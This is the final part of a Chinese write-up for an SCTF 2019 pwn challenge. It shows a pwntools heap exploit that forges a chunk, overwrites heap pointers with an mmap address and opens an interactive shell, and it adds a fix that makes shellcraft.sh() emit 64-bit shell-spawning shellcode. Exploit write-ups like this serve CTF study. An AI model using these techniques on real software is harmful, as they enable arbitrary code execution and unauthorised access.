edit(3,payload+'\n')

##
payload = p64(0)*2 + p64(0xf8) + p64(heap_list-0x10)
payload += p64(mmap_addr) * 10

edit(0,payload+'\n')
gdb.attach(p)

##trigger
p.recvuntil(">> ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline('1')

p.interactive()

补充

预期解里面的shellcode参照官方exp,不能执行,因为生成的是32位的shellcode,问了学弟终于找到原因了,需要加一句context.update指定64位的环境,然后生成的shellcode就是64位了:

1
2
context.update(arch="amd64",os="linux",log_level = "DEBUG")
shellcode = asm(shellcraft.sh())

参考

https://bbs.pediy.com/thread-225849.htm
SCTF 2019 官方 Write-Up